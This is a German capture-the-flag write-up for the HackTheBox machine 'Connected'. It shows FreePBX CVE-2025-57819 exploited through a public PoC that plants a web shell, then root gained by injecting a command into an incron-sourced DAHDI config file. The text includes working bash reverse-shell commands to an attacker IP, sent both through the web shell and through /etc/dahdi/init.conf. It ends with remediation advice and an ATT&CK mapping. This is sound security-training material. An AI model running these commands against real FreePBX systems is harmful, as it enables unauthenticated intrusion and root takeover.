
Ausführlicher Penetrationstest-Bericht für die HackTheBox-Maschine „Connected“, der die Ausnutzung von FreePBX CVE-2025-57819 (SQLi zu RCE) und die Privilegienausweitung über eine Incron-Fehlkonfiguration bis hin zu Root behandelt.
Connected ist eine Linux-Maschine auf Basis von CentOS, die das VoIP-Kommunikationssystem FreePBX v16.0.40.7 in Verbindung mit Asterisk ausführt.
Der Exploit-Ablauf (Attack Vector / Kill Chain) besteht aus zwei Hauptphasen:
asterisk zu erhalten./usr/sbin/sysadmin_dahdi_restart aus, sobald in die Datei /var/spool/asterisk/sysadmin/dahdi_restart geschrieben wird. Da die DAHDI-Konfigurationsdatei /etc/dahdi/init.conf für den Benutzer asterisk beschreibbar ist, wird die eingeschleuste Reverse-Shell-Payload in diese Konfigurationsdatei automatisch mit root-Rechten (uid=0) ausgeführt.Der erste Schritt des Penetrationstests beginnt mit aktiver Aufklärung mittels nmap, um offene Ports, laufende Dienste und die Systemversion zu identifizieren.
mkdir -p recon
nmap -T4 -sC -sV <IP_TARGET> -oA recon/nmap_quick
Erklärung der Nmap-Flags:
-T4: Setzt eine aggressive Timing-Vorlage für einen schnelleren und effizienteren Scan.-sC: Führt den Satz an Standard-NSE (Nmap Scripting Engine) Skripten zur Erkennung grundlegender Schwachstellen aus.-sV: Aktiviert die Dienst- und Versionserkennung auf jedem antwortenden Port.-oA recon/nmap_quick: Speichert alle Ausgabeformate (Standard, grepable, XML) im Verzeichnis recon.Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for <IP_TARGET>
Host is up (0.25s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 4e:60:38:6f:e7:78:6c:ca:58:62:a1:f1:56:ae:8d:30 (RSA)
| 256 12:41:55:26:9d:ad:3d:e8:bf:4e:31:aa:d7:d1:a5:d2 (ECDSA)
|_ 256 8e:b6:96:e0:21:83:5d:1d:ce:8d:e2:6a:dd:38:c6:75 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
|_http-title: Did not follow redirect to http://connected.htb/
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16)
| ssl-cert: Subject: commonName=pbxconnect/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2025-11-30T14:07:27
|_Not valid after: 2026-11-30T14:07:27
|_http-title: 400 Bad Request
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.16
http://connected.htb/.Da der Webserver virtuelles Hosting verwendet und den Datenverkehr auf connected.htb umleitet, müssen wir die lokale Namensauflösung in /etc/hosts ergänzen:
echo "<IP_TARGET> connected.htb" | sudo tee -a /etc/hosts
Der Aufruf der URL http://connected.htb/admin/config.php über den Browser zeigt die webbasierte VoIP-Verwaltungsoberfläche:
Aus der Fußzeile der Webseite erhalten wir die spezifische Versionsinformation:
FreePBX is a registered trademark of Sangoma Technologies Inc.
FreePBX 16.0.40.7 is licensed under the GPL
Copyright© 2007-2026
16.0.40.7Die Version FreePBX 16.0.40.7 ist anfällig für CVE-2025-57819. Diese Schwachstelle ist eine Pre-Authentication SQL Injection, die es einem Angreifer ohne Anmeldedaten (unauthenticated attacker) ermöglicht, die Backend-Datenbank von FreePBX/Asterisk zu manipulieren.
Durch diese SQL-Injection kann der Angreifer die interne Cron-Job-Tabelle von Asterisk (asterisk.cron_jobs) modifizieren oder beliebigen PHP-Code in das Webserver-Verzeichnis injizieren (was zu einer Web Shell führt), was letztendlich in Remote Code Execution (RCE) mündet.
Wir nutzen den öffentlichen PoC-Exploit von WatchTowr Labs:
# 1. Exploit-Repository klonen
git clone https://github.com/watchtowrlabs/watchTowr-vs-FreePBX-CVE-2025-57819
cd watchTowr-vs-FreePBX-CVE-2025-57819
# 2. Exploit-Skript gegen das Ziel ausführen
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htb
Ergebnis der Exploit-Ausführung: Das Skript hat das Ziel erfolgreich ausgenutzt und eine aktive Webshell am Endpunkt erstellt:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php?cmd=<COMMAND>
Um eine interaktive Sitzung (Reverse Shell) zu erhalten, führen Sie die folgenden Schritte aus:
Netcat-Listener auf dem Angreifer-Rechner (Attacker Machine) öffnen:
nc -lvnp 1212
Reverse-Shell-Payload über die Web Shell senden:
Senden Sie die Reverse-Shell-Payload mit curl und URL-kodierten Parametern:
curl -G "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-3qv7ynn9d2.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/1212 0>&1'"
Reverse-Shell-Verbindung erfolgreich empfangen:
Die Verbindung geht am nc-Listener ein und wir erhalten eine interaktive Shell als Benutzer asterisk.
[asterisk@connected html]$ cat /home/asterisk/user.txt
Nachdem wir Zugriff als Benutzer asterisk erhalten haben, besteht der nächste Schritt in der internen Enumeration, um einen Vektor zur Privilege Escalation auf root zu finden.
incron)Wir untersuchen die Konfiguration des incron-Daemons (inotify cron table), einem Dienst, der Befehle bei Dateisystemereignissen (wie Dateiänderungen oder -erstellungen) ausführt:
[asterisk@connected html]$ cat /etc/incron.d/*
Ausgabe der Incron-Konfiguration:
/var/spool/asterisk/sysadmin/vpngat IN_CLOSE_WRITE /usr/sbin/sysadmin_openvpn -d
/var/spool/asterisk/sysadmin/intrusion_detection_stop IN_CLOSE_WRITE /etc/init.d/fail2ban stop
/var/spool/asterisk/sysadmin/update_system_cron IN_CLOSE_WRITE /usr/sbin/sysadmin_update_set_cron
/var/spool/asterisk/sysadmin/portmgmt_setup IN_CLOSE_WRITE /usr/sbin/sysadmin_portmgmt
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart nach einem Schreibvorgang geschlossen wird (IN_CLOSE_WRITE), führt das System automatisch das Skript /usr/sbin/sysadmin_dahdi_restart mit root-Rechten aus.Eine weitere Untersuchung des Skripts /usr/sbin/sysadmin_dahdi_restart zeigt, dass es den DAHDI-Dienst (Digium Asterisk Hardware Device Interface) neu startet und die Konfigurationsdatei /etc/dahdi/init.conf ausführt bzw. lädt (source).
Die Überprüfung der Berechtigungen der Datei /etc/dahdi/init.conf zeigt, dass die Datei für den Benutzer asterisk beschreibbar ist:
ls -la /etc/dahdi/init.conf
# -rw-rw-r-- 1 root asterisk ... /etc/dahdi/init.conf
Da /etc/dahdi/init.conf beim Neustart von DAHDI im Kontext von root ausgeführt wird, können wir einen Reverse-Shell-Befehl in diese Konfigurationsdatei einfügen und den Neustart dann über incron auslösen.
Neuen Listener auf dem Angreifer-Rechner öffnen (Port 4545):
nc -lvnp 4545
Reverse Shell in /etc/dahdi/init.conf einfügen:
echo "bash -c 'bash -i >& /dev/tcp/<IP_VPN_KITA>/4545 0>&1'" >> /etc/dahdi/init.conf
Incron-Ereignis durch Schreiben in die Spool-Datei auslösen (Trigger):
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restart
Wenige Sekunden nachdem incron das Dateischreibereignis verarbeitet hat, führt das Root-Skript die eingefügte Befehlszeile aus und erzeugt eine Reverse-Shell-Verbindung als root (uid=0):
[root@connected /]# id
uid=0(root) gid=0(root) groups=0(root)
[root@connected /]# whoami
root
[root@connected /]# cat /root/root.txt
Geknackt von ikmalhanaan 🚀
| Komponente | Spezifikation / Beschreibung |
|---|
| Maschinenname | Connected |
| Betriebssystem | Linux (CentOS / FreePBX Distro) |
| Ziel-IP | <IP_TARGET> (connected.htb) |
| Angreifer-IP | <IP_VPN_KITA> (VPN-Schnittstelle tun0) |
| Kritische Schwachstelle | CVE-2025-57819 (FreePBX Auth Bypass & SQLi to RCE) |
| PrivEsc-Mechanismus | Fehlkonfigurierter Incron-Daemon-Hook + beschreibbare /etc/dahdi/init.conf |
| Verwendete Tools | nmap, curl, python3, netcat (nc), bash, git |
| Schwachstellenvektor | Auswirkung | Empfehlung zur Behebung / Absicherung |
|---|
| FreePBX Pre-Auth SQLi (CVE-2025-57819) | Kritisch — Ermöglicht RCE ohne Authentifizierung durch Datenbankinjektion. | FreePBX auf die neueste offizielle Patch-Version von Sangoma aktualisieren. Strikte Eingabevalidierung sowie Prepared Statements / Parameterized Queries für alle API-Endpunkte implementieren. |
Unsichere Dateiberechtigung (/etc/dahdi/init.conf) | Hoch — Nicht autorisierter Benutzer (asterisk) kann eine Konfigurationsdatei ändern, die von root ausgeführt wird. | Eigentümer- und Schreibrechte der Konfigurationsdatei einschränken: chmod 644 /etc/dahdi/init.conf und chown root:root /etc/dahdi/init.conf. |
| Automatische Root-Ausführung durch Incron | Mittel/Hoch — Automatisierte Root-Skripte laden Konfigurationsdateien ohne Integritätsprüfung. | Alle incron-Regeln und Skripte unter /usr/sbin/sysadmin_* auditieren. Vermeiden Sie das Sourcing dynamischer Konfigurationsdateien, die anfällig für Änderungen durch Nicht-Root-Benutzer sind. |
| Taktik | Technik-ID | Technikname | Anwendung auf der Box |
|---|
| Reconnaissance | T1595.002 | Active Scanning: Vulnerability Scanning | Port- & Dienste-Scan mit nmap. |
| Initial Access | T1190 | Exploit Public-Facing Application | Ausnutzung der Schwachstelle CVE-2025-57819 auf dem FreePBX-Webserver. |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | Ausführung von Bash-Reverse-Shell-Befehlen über Web Shell & Init-Skript. |
| Persistence / Privilege Escalation | T1053.003 | Scheduled Task/Job: Cron | Nutzung des incron-Daemons zur automatischen Ausführung von Root-Aufgaben. |
| Privilege Escalation | T1574.009 | Hijack Execution Flow: Path/Configuration Hijacking | Einfügen schädlicher Befehle in die Konfigurationsdatei /etc/dahdi/init.conf. |
| Credential Access / Collection | T1005 | Data from Local System | Lesen der Flags user.txt und root.txt. |